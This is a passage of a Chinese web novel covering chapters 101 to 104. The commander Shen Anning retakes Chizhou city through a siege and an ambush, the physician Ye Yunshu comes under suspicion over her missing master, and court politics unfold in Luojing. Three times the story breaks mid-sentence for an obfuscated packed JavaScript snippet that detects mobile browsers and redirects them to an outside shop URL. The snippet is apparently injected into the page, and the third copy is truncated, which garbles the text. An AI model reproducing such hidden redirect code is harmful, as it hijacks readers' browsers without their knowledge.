叶云舒的声音变得有些沙哑,还未等方景淮开口,又接着说道:“后来我被送到了安置流民的地方,正好师父去旱灾地义诊,见到了我身上阿娘为我绣的荷包,才将我认出来,带了回去,这些年我也一直跟着他学习医术,当初他知道阿娘死后就要来洛京,只是那时洛京城中很混乱,所以他带着我一直在陵州,我知道他一直在等一个机会,回京为我阿娘伸冤,我也一直想治好淑妃的病,完成我阿娘的遗愿,所以师父带着我前来洛京。” 方景淮心怀恻隐之心,安慰道:“节哀!” 叶云舒摇了摇头。 方景淮思量道:“你说你师父一直在等一个时机,他这么多年都没来洛京,怎么去年就来了?难道时机等到了?” 叶云舒抬头道:“圣上往年都为淑妃寻找天下名医,但去年格外急切些,许是去年淑妃病情加重了,我想着一定要完成阿娘的遗愿,所以要进京了,至于师父,那时他得知圣上召边境守将带家眷来京,人人都觉得圣上这么大动作许是为选太子一事,他必然也是这么想的,邵陆两家相持多年,若圣上真是为选太子一事,想必京中必是一番血雨腥风,这个时候来京确实是很好的时机。” 方景淮思索着,又道:“所以你觉得齐博士是和你师父一起失踪了?” 叶云舒点了点头。 “可这是为什么?你师父来洛京不就是为了当年梁家一案吗?这个时候他去哪?” 叶云舒也想不明白,忽然想起一事又道:“我师父可能认识冯固冯将军!” 方景淮想了想,“照你所说,你师父当年应该是太医署的医师,认识冯固也算正常。” 叶云舒摇了摇头,将那夜在酒楼撞见冯固气走一事以及冯固被斩首那天陶峰前去看他一事说了,“若真只是认识,应当不会这样。” 方景淮起了身,似乎在想什么,过了许久,他才回头看向叶云舒,犹豫了一会才道:“瘟病是人为的。” 叶云舒听后点了点头,忽然一愣,抬头看向方景淮,“你在怀疑我师父?” 方景淮看着叶云舒,“你们进京的时间和瘟病爆发的时间,太过巧合了!不过,这都是我的猜测,你别介意!” 叶云舒思忖了良久,摇了摇头,“不会是我师父的,当初他还去给流民义诊,我的医术也都是他教的,医术是救人的,绝不会用来害人的!” 方景淮看了一眼叶云舒,一时也不忍再说下去,便道:“那齐博士为何要离开?” 叶云舒也想不出来这是为何,方景淮拢了拢厚外衫,“你师父可常去哪些地方?我们要不要去找找?” “师父在陵州时就一人住在山中,只有替人看病才出门,一开始带着我去,后来渐渐地就让我自己去了,自哪以后,师父更是深居简出,只有我解决不了的他才出门了!来了洛京后一直住在酒楼,除了冯固来找他和他出门看冯固行刑外,几乎没有出过酒楼。” 方景淮越想越想不明白了,叶云舒也看出了方景淮的疑惑,便道:“我看今日天色也不早了,你早些喝了药歇下吧!等明日我们再去找找齐博士。” 方景淮正要说不如现在去,就见叶云舒的神情似乎不对,想是刚刚怀疑她师父的事,虽然她否认了,但心中也有疑虑吧!方景淮点了点头,“好!我让人送你回酒楼!” “不用了,我还要去趟医馆!” 方景淮也没再勉强,只让她路上小心,就将她送到了府门口,方景淮看着叶云舒离开后正要转身回府,突然发现梁妈妈不知何时站在了他的背后,方景淮吓了一跳,正要说话时就听见梁妈妈盯着叶云舒离开的方向喃喃道:“像!真的很像!难道这个世界上真得有轮回转世一说?那小姐现在又在哪?” 方景淮自然知道她在说什么,叹了口气道:“孩子当然会像娘亲啦!” 梁妈妈似乎没听出来方景淮的话,只看着府门外,忽然,她像是明白了什么,睁圆了眼睛朝方景淮道:“真的?” 方景淮点了点头,便朝府中走去。 梁妈妈依旧盯着叶云舒离开的方向,满眼泪花,自言自语道:“真好!真好!梁家原来还有后!” 身后的方景淮听见梁妈妈的话,苦笑了一声。 晚风轻拂,月光轻拂过静谧的草原,池州军营的大帐灯火通明,沈安宁盯着沙堆看了许久,忽然朝一旁的李万道:“师父!你看这!” 一旁的李万朝她指的位置看去,沈安宁道:“我有一计,想请师父去做!” 李万的手已经拆了布条,但依然没能恢复成往日的力气,他抱拳道:“元帅请吩咐!” 凌晨时分,李万带着一支队伍出了军营,到破晓时分,沈安宁叫来了几位将领,等一切都安排好了以后,将领们都出了大帐,这时江时鸣正巧来找沈安宁,见诸位将领都从大帐走出,正疑惑时就见沈安宁也出了大帐,一见江时鸣便道:“你收拾一下,我们要拔营了!” 江时鸣问道:“去哪?” 沈安宁盯着军营外的将士们,道:“赤州城!” 江时鸣一怔,看着沈安宁似乎在确定沈安宁没开玩笑,见沈安宁神情严肃,于是应了一声回去了。 还未到午时,队伍已经都收拾好了,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144810|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤州城而去,江时鸣骑着马跟在沈安宁身后,左右看了看,问道:“阿宁,李将军呢?” “我让他带着先锋队先去了!” “哦!” 江时鸣回头看着长长的队伍,似乎这一刻才有了一点自己就要上战场的感觉,他不知该怎么说明现在的心情,又转头看向沈安宁,见沈安宁像是习惯了这样的场面一般,没有一点异样,江时鸣便将心中的话语都咽了下去,目视前方,跟着沈安宁。 队伍到了赤州城外十里外的一处高地,沈安宁看了看,抬手示意队伍停下,就地安营扎寨,江时鸣不明白,他原以为是来攻打赤州城的,正要问时就见沈安宁前去安排军营防御措施了,江时鸣只得先跟着队伍安营,等他见沈安宁终于空了出来后便去跑了过去,正要发问,就听沈安宁道:“走!带你去吃东西!” 江时鸣不解,跟着沈安宁带着一支小队一路到了赤州城下,城门上已站满了杞国军队,各个拿着弓箭,城门下也随着杨逾流出来了一批士兵。 江时鸣第一次见这阵仗,正要去看沈安宁,就见沈安宁已经朝前走了,他只能硬着头皮跟上去。 沈安宁带着在弓箭射程外停了下来,随后下了马让队伍将带的包裹都打开,原来是各种食物,其中还有一人背了一只羊,就在原地架起了简易的架子烤了起来,似乎没看见赤州城下的杞国人。 杨逾骑在马上,看着沈安宁大喊道:“沈安宁!你耍什么花样?” 沈安宁只是拿了一只鸭腿上前道:“杨将军,好久不见!我们只是饿了想找个地方吃个饭!杨将军不会介意吧!” 说着沈安宁将鸭腿给了江时鸣,江时鸣哪有心情吃东西,心不在焉的接过后打量着远处的杨逾,沈安宁解释道:“那是杞国将军杨逾!” 江时鸣看了看杨逾,见他满脸凶煞,于是朝沈安宁道:“阿宁,我们为什么要在这里吃?我看他们杞国的士兵都盯着我!” 沈安宁道:“就怕他们不盯你。” 说着见江时鸣满脸惊愕,又道:“你就放心吧!他们没有盯你,只是盯着你手中的鸭腿而已!” 说完沈安宁就走向了士兵们,江时鸣忽然觉得手中的鸭腿不是鸭腿了,拿在手上是丢也不是吃也不是,士兵们吃得晶晶有味,杞国士兵各个盯着看,一时盯着沈安宁的士兵一时又盯着他们手中的肉,就这样吃饱喝足后,沈安宁朝杨逾告辞就上了马带着士兵走了。 江时鸣很是疑惑,又见杨逾并没有追上来,才放下了心。 一夜过后,方景淮正要出府去齐茂成府上看看,就听见方书君和杜桢一起来了,方景淮将他们迎进了书房,虽是早知道方书君和杜桢是一伙的,可如今看着两人都坐在对面,方景淮府上除了自己和梁妈妈就两三个下人,更是没人上茶,方景淮只得自己替两人倒了两杯茶。 杜桢倒是没有客套,直接说道:“今日朝堂之上都是参沈元帅的,说她去了赤州也有三个月了,却还没能收复赤州,甚至天天在赤州城下烤肉!” 方书君自然得了方承尧的奖赏,得了个四品官,也开始上朝了,闻言他接道:“参她多数说她没能力做这个元帅,要圣上换人前去接替她,想必是陆家对陆元黄被砍头一事不满,想换自己人前去顶替沈元帅。” 方景淮闻言,冷笑了一声。 102. 第一百零二章 攻城 杜桢喝了口茶水,鼻头动了动,朝一旁看了一眼,才又道:“沈元帅去了池州三个月,却一直没有和杞国军队动手,坊间便有些流言蜚语出来。” 方书君看了一眼方景淮,道:“都是些捕风捉影之谈,但三人成虎,难免会传到圣上耳边。” 方景淮咳了几声,才道:“将士们在前线为国而战,躲在后面的人却还要指指点点。” 方书君和杜桢对视了一眼,杜桢见方景淮似乎有想法,便问道:“不知燕王有何见解?” 方景淮道:“既然众人如此爱谈论,不如就多来些谈资,反正也是闲的!” 杜桢道:“燕王是想……将邵陆两家也牵扯进来?” 方景淮又咳了几声,声音都有些沙哑了,“难道沈元帅这事不正是他们所为吗?只是……咳咳……即以其人之道还治其人之身罢了!” 方书君见他咳得厉害,问道:“你没事吧?” 杜桢刚喝茶时就闻到有药香味,他看向刚刚看了一眼的药碗,起身将药碗端了过来,道:“燕王是否是要喝药?” 方景淮道了声多谢,随后接过了碗一口喝了下去,方书君和杜桢见方景淮似乎脸色不好,方书君道:“是否要请医者?” 方景淮摆了摆手,“我自小就这样,缓缓就好了!” 方书君和杜桢又对视了一眼,杜桢道:“那我们便不打扰燕王休息,刚刚所说之事,我马上去办,燕王放心!” 方景淮起身要送他们,被他们留下了,两人出了燕王府后有一段距离了,杜桢才道:“看来燕王的病是真的!” 方书君道:“那就是说他愿意参与,真的只是想帮沈安宁?” 杜桢回头看了一眼燕王府,方书君又道:“刚刚所说之事,快些去办吧!” 杜桢点了点头,两人很快离开了。 赤州城外的姜国军营内,因前几日沈安宁都带着江时鸣前去赤州城下吃东西,江时鸣很是不解沈安宁的做法,可沈安宁近日好像都很忙,忙着和诸位将领商讨军务,甚至李将军不见了好几天了也没见有人提起,江时鸣越想越觉得奇怪,可走到临时搭建起的大帐前时见沈安宁又在和诸位将领商量着什么,江时鸣也不好打扰,只得一人在大帐外呆着。 江时鸣看着军营中的人来来往往,各司其职,似乎只有他一人空着,这时一旁站着的守卫见他看着军营中的将士们发呆,于是小心地朝大帐内瞅了一眼,见没人注意外面,才朝江时鸣道:“听别人说你是我们元帅的表哥?” 江时鸣一愣,顿了顿,道:“是。” 说着江时鸣又问道:“这位兄弟怎么称呼?” 守卫又道:“我姓刘,叫守川!” 江时鸣抱拳道:“刘兄!” 刘守川笑了一声,道:“我刚看你看着军营发呆,怎么了?可是有什么事?” 江时鸣摇了摇头,随后看了一眼刘守川,思量了片刻,问道:“刘兄为何会参军?” 刘守川想也没想就开口道:“我阿爹是当年常州的起义兵,后来侯爷一路打到常州,阿爹所在的队伍被侯爷收编了,阿爹从哪以后就跟着侯爷了,先帝登基后,阿爹又跟着侯爷打退杞国,之后就一直驻守在平川了,阿爹和阿娘有了我以后为我取名守川,也正是这么来的,所以我从小就只想过参军,没想过做别的了!” 江时鸣听后若有所思,自己是为了什么来参军的,为了不去成亲,为了逃避接管家业,也为了……做一个像姑父那样让人崇拜的英雄,可到了军营这些天,江时鸣自己也想不明白了。 刘守川见他听后一直不做声,问道:“那你为什么来军营啊?我们都知道夫人是陵州富商江家的女儿,江家可是富可敌国啊!我真想不明白你为什么来军营?” 江时鸣一时觉得自己那些理由都有些不好意思说出口,便扯过这个话头,道:“我来军营也和你一样啊!令尊现在还在军营中吗?” 刘守川低下头道:“阿爹在前些年大石坡一战中死了!” 江时鸣一怔,道了抱歉,刘守川笑道:“这有什么好对不起的?阿爹是英雄,他是为了平川,为了姜国!” 江时鸣一时不知该说什么,就听见大帐内的诸位将领都出来了,刘守川立即站了回去,身姿挺拔。 就在诸位将领都离开后,沈安宁出了大帐,江时鸣上前,正要说话时就听见有一个士兵急忙朝这边跑来,递给了沈安宁一封信,沈安宁将信拆开,里面正是李万的字迹,沈安宁一笑,很快兵马都集结完毕,沈安宁骑着马提着红缨枪立在大军前,下令道:“众将士听令!今日就是收回家园之时!诸位可有信心!” “收回赤州城!” 大军齐声的叫喊声响彻天际,沈安宁坚定地看向赤州城的方向,“出发!” 大军朝赤州城而去,江时鸣跟在沈安宁身旁,问道:“阿宁,为何这时攻城?” 沈安宁侧头看了他一眼,随后解释道:“他们截了粮草已有半月了,城中应是没有粮食了,所以杨逾想派人前去杞国军营要粮,被师父拦下了,他不敢和师父硬碰硬,怕我们从后方突袭造成前后夹击,所以等了几日,今日才派人前去报信,想必是弹尽粮绝了。” 江时鸣恍然大悟道:“原来李将军是带着先锋队绕去了赤州城北边。” 沈安宁安排了几位将领带着队伍分别去了东边和西边几个门,江时鸣在一旁听着,见沈安宁让他们去了,问道:“我看过赤州城的地图,东北角上还有一处小门!” 江时鸣一顿,忽然想起沈安宁是在赤州城长大的,他怎么会不清楚呢? 沈安宁解释道:“围师必阙,陷则不惧,无所往则固,若是不给他们一点希望,又饿又没有退路的情况下,他们会拼死抵抗。” 江时鸣听后沉默许久。 沈安宁侧头示意一旁几个人保护江时鸣,自己则带着人冲上了前方。 战旗猎猎,战鼓雷雷,数十万大军手持长枪,眼中都是对城墙上霸占着自己家园的人的仇视,随着沈安宁一声令下,数十万大军和数百架云梯纷纷冲向赤州城,滚木礌石自城墙上倾泻而下,眼见着前去的士兵爬不上城墙上。 沈安宁抬手示意,一队士兵推着两架巨大的火器,它的上方是一根笔直的铁管,铁管下方是几根粗壮的木材组成的支架,队伍迅速将火器架好,又有一百来个士兵手中拿着比地上那架上的小了很多的火器躲在盾后,众人迅速准备好了以后看向沈安宁,沈安宁一挥手,两颗巨大的火球带着数百点火光射向城内。顿时,城内火光冲天,烈焰四起,经过几次火器进攻后杞国军队士气大减。 沈安宁拿起自己的长枪,带着众将士再次发起进攻,这一次,杞国军队像是不堪一击。 杨逾看着城楼下挥动着长枪的沈安宁,眼中满是怒火,一旁的副将上前小声道:“将军,其他三门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164236|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都被姜国军队围住了!不过属下派人去看了东北角那处小门,只有一小队姜国士兵,我们可以从那处出城!” 杨逾回头怒瞪副将道:“你让本将军逃跑?” 副将低头道:“属下不敢!只是城中早就没了粮草,沈安宁这时来攻,本就趁人之危,将军何须在意这些?” 杨逾盯着低下的沈安宁,“上次在大石坡一战就输给了她,我不信我还能输给她!” 说着抢过了一旁士兵手中的弓箭,将箭头对准了沈安宁,拉满了弦,放了手,顷刻间,沈安宁一□□在了一个杞国将领身上,又一个转身将将领带到地上,同时还将一只利箭踩到了脚下,沈安宁抬头看向利箭的来处,见杨逾正怒视着自己,沈安宁冷笑一声,便将脚下的箭和枪下的人都丢了出去。 经过火器的一番攻击,姜国士兵终于爬上了城楼,同时底下撞城门的也撞开了城门,杨逾拿起枪朝一个姜国士兵刺去,副将在身后叫道:“将军!城门开了!我们撤吧!” 杨逾回首一□□死了副将,厉声道:“谁再扰乱军心,杀无赦!” 杞国将士们虽不敢忤逆杨逾,可副将的话还是听进了心中,人人都怕死,因此仅有的士气也去了大半,众人甚至边打边退,杨逾也察觉出了军队的变化,想了很久,他带着几个心腹下了城楼,上了马后朝东北角而去。 一天的鏖战,赤州城已满是战火,但总算将赤州城攻下,沈安宁站在城楼上看向她从小长大的赤州城,忽然见李万一人骑着马前来,沈安宁朝他点了点头,便下了城楼,将军队交给了他,自己则带了百来人出了城门往东北角而去,江时鸣见状也翻身上马跟上了沈安宁。 江时鸣对于这一天的见闻一时有些难以言说,他心中是有很多问题想问沈安宁的,可却不知该从何处开口,就这样跟着沈安宁到了一处山谷,江时鸣见到面前的场景一愣,原来前方正是逃跑的杨逾,而他的周围是围满的姜国士兵,杨逾和他的亲信被困在其中。 杨逾一见沈安宁,便满眼怒意,道:“小看你了!” 沈安宁下了马,抬手示意身后众人不用跟上,自己则一手提着红缨枪缓步朝杨逾走去,杨逾见状嘲讽道:“有本事别用阴招,我们正大光明的比一场!” 沈安宁冷哼了一声,道:“你已经是我的手下败将,我为什么要和你比?” “有本事你就杀了我!” 沈安宁一枪抵在了杨逾脖颈处,“你以为我不想杀你吗?赤州城门口的姜国将士、钱将军、赵将军,那一笔都值得我杀了你为他们祭祀!” 杨逾一怔,忽然大笑了起来,“都说你比沈海聪明,原来……都是傻子!你想带我回洛京接受你们朝堂的审判?我是该说你忠诚呢?还是该说你愚蠢?沈海正是死在你忠诚的朝堂手上,你不会以为他们会给你主持公道吧!” 沈安宁收起了枪,命人将以杨逾为首的百来战俘带去下,杨逾一直大笑着,路过沈安宁时,道:“你以为赤州的事就这么完了?” 沈安宁侧身看向他,“我正准备了大礼等他!” 杨逾顷刻变了脸色,沈安宁抬手示意士兵将他带下去,这时江时鸣上前道:“其实……” 沈安宁回头翻身上了士兵牵过来的三妹,“我没有虐待战俘的癖好!” 说着沈安宁便调转马头朝赤州城而去,江时鸣也上了马,看了一眼被捆绑起来的杨逾,才策马跟上沈安宁。 103. 第一百零三章 守城 杞国副将周山带着穆文钦领着十几万大军正朝赤州城而去,两人很快到了穿过平川到了赤州城下,远在射程外周山便抬手示意身后的军队停下。 穆文钦骑着马立在他一旁问道:“周副将,怎么了?” 周山盯着赤州城道:“世子,你看赤州城内还有黑烟,想必是已经和姜国军队交上手了,可却没有厮杀声,难道战事已经结束了?” 穆文钦朝他说的看去,“赤州城北边就是平川,我们有军队驻守在哪,但从这看去北门似乎太过干净……” 周山和穆文钦对视了一眼,穆文钦又道:“可杨将军还在赤州城内,派人先去打探一番,看看城中是何情况再做定夺!” “我也正有此意!”说着周山抬手示意了身后一人,那人很快明白过来,应了声便朝赤州城而去。 等了差不多半个时辰,派去打探消息的人回来了,“世子!周副将!赤州城内只剩下我们不多的人在清扫,听他们说起,杨将军带着人马前去追姜国军队了!我也在赤州城东北方也看到了大量人马经过的痕迹。” 穆文钦闻言眉头微皱,回头看向周山,周山也正看向穆文钦,周山回头命那探子下去,随后又看向穆文钦,穆文钦道:“我在一书中看到过穷寇莫追。” 周山思量了片刻,一旁的将领插嘴道:“杨将军曾在大石坡一战中输给了沈安宁,杨将军性子又急躁,想必是气不过,所以追了出去吧!” 穆文钦思忖了片刻,看向了周山,道:“不过既然城中只剩我们的人,倒不如我们先进城,探子去了也就不过半个时辰,未必事事都清楚!” 周山想了想,下令大军进城,十几万大军浩浩汤汤地朝赤州城而去,等进了城,果然一切都如探子所说,城中只剩为数不多的穿着杞国士兵衣物的人在清扫。 穆文钦正要上前去问,忽然哪些清扫的人将城门关了起来,周山正奇怪时,穆文钦便已经反应过来,朝身后的将士们喊道:“中计了!快出去!” 将士们还有许多没反应过来的,只跟着大军一起朝城门跑去,谁知一片箭雨朝他们飞来,城楼上忽然出现了一排弓箭手,他们换箭时退了一步,身后已经换好的士兵上前,又是一片箭雨落下。 穆文钦滚下了马,随手搬起了身旁的一块门板挡在了头上,他迅速跑到了周山身旁,将周山也挡在门板下,两人就这样躲到了一旁。 就这样落了几阵的箭雨后,杞国军队已损失了大半,穆文钦和周山见外面箭雨停了,便往城楼上看去,一人出现在了城楼上,正朝这边看着自己。 穆文钦一拳打在了一旁的门板上,城楼上的沈安宁抬手示意了一下,几个士兵押着被困起来的杨逾上前,沈安宁朝周山道:“周副将!你是来找杨将军吗?可惜杨将军现在怕是没有空闲和你坐下来详谈!” 周山走了出来,抬头看向沈安宁道:“沈元帅!好久不见!” 沈安宁一手放在了垛口处,“周副将,现在可不是寒暄的好时候,要不你们放下武器,将平川送回,我们便可坐下好好聊聊,不然……” 沈安宁抬手,刚刚的弓箭手又都蓄势待发,将底下的众人吓了一跳,沈安宁又道:“想必周副将也不想你的弟兄们跟着你送死吧!” 穆文钦盯着沈安宁上前,朝周山道:“周副将!不能投降!” 说完穆文钦又抬头瞪着沈安宁,沈安宁只看着他们,并未多言。 周山收回了看着沈安宁的目光,移向穆文钦,低声道:“世子,王爷于我有恩,他让我照看你,如今……” 说着他瞟了一眼城门,道:“只能护着你冲出去了!” 穆文钦看着周山,还未来得及回话,就听见周山下令道:“保护世子!冲出去!” 几万杞国士兵朝赤州城北门冲去,又是一片又一片的箭雨落下,沈安宁看着底下的快要被打开的城门,朝一旁的侍卫点了点头,那侍卫便将一只鸣笛放出,杞国军队冲出北门时,门外正围着由李万带领的姜国十几万大军。 杞国军队见状又想往后跑,可又想到城内那不是送给别人杀,这时沈安宁骑着马带着一支军队出了城门,立在城门下,看着周山心中却想得是曾经在这里倒下的姜国士兵、钱佰、赵巳。 周山看着前后都跑不了了,便狠下心来,护着穆文钦朝东北角跑去,穆文钦不愿被他护着,可这时又不好和他对着干,李万见他们想跑,便前去拦截了周山和穆文钦,李万的手还没完全好,不过幸好他的左手枪依然不差,并未落于下风,这时沈安宁也提着枪一路杀了过来。 周山知道打不过两人,却还是一人带着几个将领拖住了李万和沈安宁,穆文钦本不愿跑,一旁的将领见周山就要支撑不住了,便半推半扯将穆文钦带走了。 这一场大战打到了下午,俘虏了近万人,周山也被捉了起来。 夕阳如血,照亮着城门下了尸体,沈安宁看着这一片血海,似乎在看几个月前同样倒在此处的她们。 李万见沈安宁神情,便知她在想什么,上前拍了拍沈安宁的肩膀就转身去处理战场了。 在城楼上看着这一切的江时鸣呆若木鸡,入夜后,江时鸣跟在沈安宁,看着沈安宁如何安排防守,又如何和诸位将领商讨,最后实在听不懂便独自出来了,又爬上了城楼,看着城楼上守着的士兵以及巡逻的士兵,似乎他们都很开心,江时鸣也知道这本是件值得开心的事,可自己心中总像是有一件事堵着,看不清理不顺。 正在江时鸣发呆时,一旁走过了一支巡逻队伍,末尾的人见江时鸣正在发呆,便偷偷离了队,拍了拍江时鸣的肩膀道:“江兄!你在看什么呢?” 江时鸣回头一看,此人正是刘守川,道:“刘兄啊!没看什么,随便看看!” 刘守川指着远处黑暗中的一片道:“那就是平川!” 江时鸣顺着他的指引看去,除了黑漆漆的一片,什么也看不见,他回头看刘守川正盯着前方,那神情仿佛他真的看见了平川,江时鸣也不好拂了他的兴致,便随意应了下。 刘守川道:“如今赤州城收回了!下一步就是平川!很快边境又要恢复往日的模样了!” 江时鸣并不知道往日赤州城是什么模样,只点了点头,问道:“要是不打仗了,你还待在军营吗?” “当然!”刘守川这才回头看向江时鸣,“我要向我阿爹阿娘一样,一生驻守平川!若是……”说着刘守川还有些一些羞,“若是将来能在娶上一个善良的娘子,生个小子,我也让他参军!不过要是生个小娘子……”刘守川想了想,“我也想让她参军!要是也能像沈元帅这般,那可真是祖上都要跟着沾光!只可惜军营不收女兵。” 说完刘守川还沉浸在想像中,满眼的笑意,见一旁的江时鸣一直看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈安宁和诸位将领又商讨了一上午,原来的镇北侯府虽以被摧毁了些,但收拾收拾还是有几个院子可以用,现在被沈安宁用做军队临时的商讨之地,等沈安宁出了沈府后,活动了下脖子,才发现一上午没有见到江时鸣,于是她找人问了问,才知道江时鸣去了西门。 一夜未睡,沈安宁虽有些疲惫,但想起舅舅的叮嘱来,沈安宁还是朝西门而来,西门本也没多少敌军,现已经被士兵们清扫的差不多了。 沈安宁一眼就看见了跪在一排尸体前的江时鸣,觉得有些不对,便上前去。 江时鸣前方躺着的正是刘守川,他侧头见沈安宁来了,转头迅速将眼中的泪花擦掉,沈安宁蹲在他身旁盯着刘守川看了看,“战争就是这样,可能这一刻还在和你有说有笑的人,下一刻就会变得血肉模糊。” 江时鸣侧头问道:“你一开始就没让我进队伍,而是一直带着我,派人保护我,是不是想让我亲眼看见,想告诉我这个!” 沈安宁侧头看他。 江时鸣有些气愤,“你也觉得我做不到是吗?” “你来的第二天,舅舅的信就送到了,他让我劝你回去,我想说什么都不如你亲眼所见来得有力。” 江时鸣转头不去看沈安宁,“凭什么你们都觉得我不行?你难道一开始就会打仗吗?” 沈安宁解释道:“你还记得去乱葬岗接阿月那天吗?你连乱葬岗的尸体都难以接受,战场上可比哪可怕!” 江时鸣怒瞪向沈安宁,“我偏要证明给你们看!” 说着江时鸣便起身跑了,沈安宁看着他的背影沉默不语,似乎在想什么。过了片刻,沈安宁回头朝士兵道:“辛苦你们为兄弟们收尸!他们都是姜国的英雄!我们应当为他们办好后事!” 正在搬尸体的士兵们闻言都说是应该的,沈安宁也和士兵们一道为死去的士兵的收尸去了。 104. 第一百零四章 收复 张千将粮草一事都已安排妥当,准备前往赤州,想了想还是决定先去一趟燕王府,于是他先去了寺庙看了沈海他们的棺椁,便起身朝燕王府来。 燕王府没有几个下人,张千之前也来过几次,所以府上的人都认识了张千,见张千又来看自家王爷,便领着他直接进去了。 张千一路被引到了方景淮的书房,从窗上看去,如今还是八月里,方景淮已经裹上了厚厚的外衫,正聚精会神地在书案前画着什么,侍从前去禀报,方景淮一听便抬起了头,笑道:“张将军!” 张千看了一眼方景淮的外衫,行了一礼,才道:“洛京粮草的事宜都已经处理妥当,我已经向圣上请旨回赤州,圣上也恩准了,所以我马上就要动身要回赤州了!” 方景淮闻言,放下了手中的笔,“那当然好!张将军常年在平川,回到赤州定能助阿宁一臂之力!” 张千眉头微皱,看向方景淮道:“但阿宁离开前让我保护你!” 方景淮裹了裹外衫走向张千道:“张将军不用担心我!” 说着方景淮走向了一旁的桌旁,给张千倒了一杯茶,“张将军请坐!” 见张千坐下后,方景淮又接道:“仲阳他自小在宫中长大,想必是哪位宫女的孩子,他又是太后的人,那他的母亲应当是在太后身边,是我愧对他,我让他送我进大狱见阿宁,太后应该是知道了,所以要他来杀我以测试他的忠心。” 方景淮叹了口气,“如今他没了,太后这么久也没别的动作,应该是不会再杀我了!毕竟她最想杀的已经死了!” 张千看着方景淮说着这一切,疑惑道:“他居然是太后的人?” 顿了顿,张千反应了过来,“所以你一早就知道他是太后的人?” 方景淮点了点头。 张千惊讶了许久,又忽然一愣,“她最想杀的……难道是贤妃娘娘?” 方景淮又点了点头。 张千不解道:“这是为何?” 方景淮沉默了片刻,才道:“其实她最想杀的应该是梁家,先帝在时,太后的父亲陆松因不满先帝立大皇子方旭尧为太子,利用他在宫中亲信,意欲逼宫,被梁家父子察觉,因此逼宫失败,陆松也被斩首。” 张千听后沉思了许久,“原来当初是因为这个!” “如今在太后眼中,梁家只有我这一个血脉了,自然不待见我!” 张千想了想,“要不然你和我一道去赤州吧!” 方景淮摇了摇头,“我相信阿宁能收回赤州城,她一定会回洛京的,我要留下来等她!” 张千轻叹了口气,方景淮道:“你不用担心我,放心去吧!” 说着方景淮起身走向了刚刚作画的书案,盯着那副墨迹还未干的画,道:“我还想请你帮我把给阿宁准备的生辰礼带去呢!” 张千闻声回头道:“你怎么知道阿宁的生辰快到了?” 方景淮笑了笑,没有言语。 赤州城收回已有一个月,消息传回洛京时,龙椅上的方承尧几个月来终于有了笑容,他咳了几声,又让底下那回报军情的士兵再说一遍,直到那士兵又一次将赤州城如何被收回的情况汇报了一遍,方承尧才笑道:“好!好!” 底下诸位大臣连连朝方承尧道贺,全然忘记昨日还在参沈安宁没收回赤州城,方承尧一手撑着龙椅,赤州城这一道心结一直梗在心上,如今一放下,竟才发觉身子有些疲软,一旁的康公公见他抓着龙椅的手泛白,担心地看向他。 方承尧缓了缓,开口道:“诸位爱卿若没……没什么……” 话还未完,方承尧便昏了过去,一时吓到了众人,方景泽、方景澄和方书君将方承尧送回了他的寝殿,医师们急忙前来诊看,老医师们都探了方承尧的脉,却都只是互相看了看开了个温和的方子,叶云舒在诊脉后拿出了针灸包,一旁的医师见了急忙道:“你干什么?” 叶云舒回道:“圣上经络堵塞,气血运行不畅,用银针可刺激穴位,调动气血,疏通经络。” 一旁几位医师围了上来,低声道:“叶医师说得这些难道我们不知吗?这可是圣体,万一有个什么闪失,整个太医署都不够砍头的!” 叶云舒并未回头,只一边收拾着银针一边回道:“我只知道这是病人!” 几位医师还要再说,叶云舒一针已经扎了进去,几位医师连忙出去了,外面邵贵妃、德妃、方昭清等都来了,众人见几位老医师都出来了,急忙问了里面情况如何?几位医师都支支吾吾,方景泽见状便冲了进去,其余众人也跟了进去。 方景泽进去后见方承尧已经醒了,叶云舒在一旁收拾银针,一见众人前来便回头行了一礼,妃嫔皇子公主们这才放下了心,上前问方承尧感觉如何等等。 叶云舒见状便出去了,方昭清看了一眼方承尧,又见一旁的叶云舒不见了,连忙跟了出来,原来叶云舒还未走,只是出来写方子,方昭清上前道:“叶医师!” 叶云舒起身一礼,“三公主是想问圣上的病情吗?” 方昭清点了点头,又道:“还有一事,上次沈姑娘因我伤到手时,我跟着医师学了些简单的医术,近些日子也看了些医书,越发觉得医术博大精深,如今父皇又是这般,我想拜叶医师为师,研习医术!” 叶云舒道:“研习医术当然可以!只是这拜师就算了吧!” 方昭清道:“医师难道是嫌弃我愚钝?” 叶云舒笑道:“怎么会?既然公主这般说,那便依公主所言便是!” 方昭清道了声多谢,又道:“我回去便择一个日子行拜师礼!” 叶云舒正要说不必如此,可看着方昭清便也没再说了,两人又一道说了说方承尧的病情。 第二日,方承尧便下旨,自今日起由魏王方景泽和赵王方景澄代管政事,他从旁协助。 这旨意一下,洛京城中又是议论纷纷,方景淮和孙雪燕等将张千送到了洛京城门下便停下了,张千嘱咐了吕叔几句,便驾马离开了。 孙雪燕看着张千离去,叹了口气便带着彩云、晴云和楚管家离去了。吕叔看了一眼方景淮,上前道:“王爷若有什么吩咐可差人来庙中找我!” 方景淮一愣,回头看了一眼张千的背影,点了点头。 